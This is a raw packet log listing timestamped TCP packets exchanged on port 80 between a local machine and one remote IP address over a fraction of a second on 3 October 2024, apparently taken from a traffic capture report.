Oct 3, 2024 09:20:34.790924072 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.790935040 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.790949106 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.790960073 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.790971994 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.790982962 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.790996075 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.791002989 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.791002989 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.791047096 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.791944027 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.791960955 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.791975021 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.791989088 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.791990042 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.792002916 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.792015076 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.792017937 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.792032957 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.792045116 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.792056084 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.792062044 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.792069912 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.792097092 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.792782068 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.792795897 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.792808056 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.792819977 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.792830944 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.792843103 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.792845011 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.792859077 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.792875051 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.792907000 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.793401957 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.793420076 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.793472052 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.793632984 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.793646097 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.793658018 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.793672085 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.793684006 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.793694973 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.793695927 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.793708086 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.793741941 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.793741941 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.801083088 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.829119921 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.829161882 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.829173088 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.829232931 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.829226971 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.829226971 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.829246998 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.829260111 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.829314947 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.874671936 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.874696016 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.874708891 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.874751091 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.874789000 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.874849081 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.874862909 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.874869108 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.874876976 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.874891996 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.874922991 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.874950886 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.875145912 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.875159979 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.875211954 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.875281096 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.875320911 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.875361919 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.875459909 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.875473022 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.875516891 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.875519037 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.875531912 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.875545025 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.875577927 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.875925064 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.875940084 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.875983000 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.876065016 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.876076937 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.876096010 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.876107931 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.876116991 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.876120090 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.876132965 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.876143932 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.876156092 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.876163006 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.876163006 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.876194954 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.876753092 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.876766920 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.876779079 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.876821041 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.876821041 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.876986980 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.877000093 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.877011061 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.877022982 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.877073050 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.877073050 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.877381086 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.877394915 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.877405882 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.877415895 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.877425909 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.877437115 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.877441883 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.877449036 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.877464056 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.877468109 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.877489090 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.877513885 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.878127098 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.878139973 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.878151894 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.878163099 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.878174067 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.878185987 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.878196955 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.878196001 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.878209114 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.878221989 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.878225088 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.878232956 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.878246069 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.878268003 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.878268003 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.878268003 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.879065990 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.879079103 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.879089117 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.879100084 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.879112005 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.879123926 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.879127026 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.879127026 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.879142046 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.879156113 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.879158974 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.879167080 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.879179001 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.879192114 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.879223108 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.879255056 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.879988909 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.880002975 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.880012989 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.880023956 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.880036116 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.880045891 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.880058050 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.880068064 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.880069017 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.880083084 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.880095005 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.880095959 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.880109072 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.880139112 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.880165100 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.880920887 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.880934954 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.880945921 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.880956888 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.880968094 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.880969048 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.880980968 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.880986929 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.880995035 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.881007910 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.881011963 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.881020069 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.881028891 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.881031990 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.881043911 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.881067991 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.881089926 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.881892920 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.881906986 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.881918907 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.881930113 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.881941080 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.881944895 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.881953955 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.881966114 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.881970882 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.881979942 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.881987095 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.881990910 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.882004023 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.882014990 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.882015944 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.882039070 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.882662058 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.882677078 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.882689953 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.882703066 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.882703066 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.882724047 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.882735014 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.882735968 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.882747889 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.882759094 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.882761002 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.882771015 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.882782936 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.882792950 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.882793903 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.882807970 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.882818937 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.882834911 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.898848057 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.962574005 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.962624073 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.962636948 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.962647915 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.962675095 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.962688923 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.962702036 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.962713003 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.962738991 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.962867022 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.962886095 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.962898016 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.962924004 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.963088036 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.963100910 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.963113070 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.963184118 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.963195086 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.963378906 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.963402033 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.963416100 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.963426113 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.963438034 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.963443041 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.963454008 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.963454008 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.963466883 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.963488102 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.963505030 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.963893890 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.963907003 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.963918924 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.963929892 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.963943005 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.963948965 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.963953018 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.963978052 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.963989973 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.964270115 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.964282990 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.964287996 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.964298964 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.964304924 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.964314938 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.964325905 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.964330912 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.964344978 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.964375019 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.964899063 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.964914083 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.964926004 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.964937925 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.964947939 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.964948893 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.964962006 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.964965105 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.964975119 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.964987040 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.964998007 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.965003014 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.965008974 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.965013027 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.965023041 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.965034008 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.965034962 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.965046883 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.965075970 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.965101004 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.965828896 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.965842962 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.965854883 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.965859890 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.965871096 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.965883017 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.965893030 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.965893984 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.965898991 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.965905905 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.965913057 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.965919018 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.966017008 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.967566013 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.967632055 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.967644930 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.967686892 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.967725039 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.967749119 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.967772961 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.967803001 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.967847109 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.967888117 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.967900991 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.967911005 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.967941046 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.968077898 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.968091011 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.968102932 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.968122005 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.968147039 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.968230009 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.968242884 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.968296051 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.968389988 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.968401909 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.968413115 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.968422890 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.968434095 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.968446970 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.968457937 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.968596935 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.968609095 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.968642950 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.968797922 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.968810081 CEST	80	49706	193.242.145.138	192.168.2.9
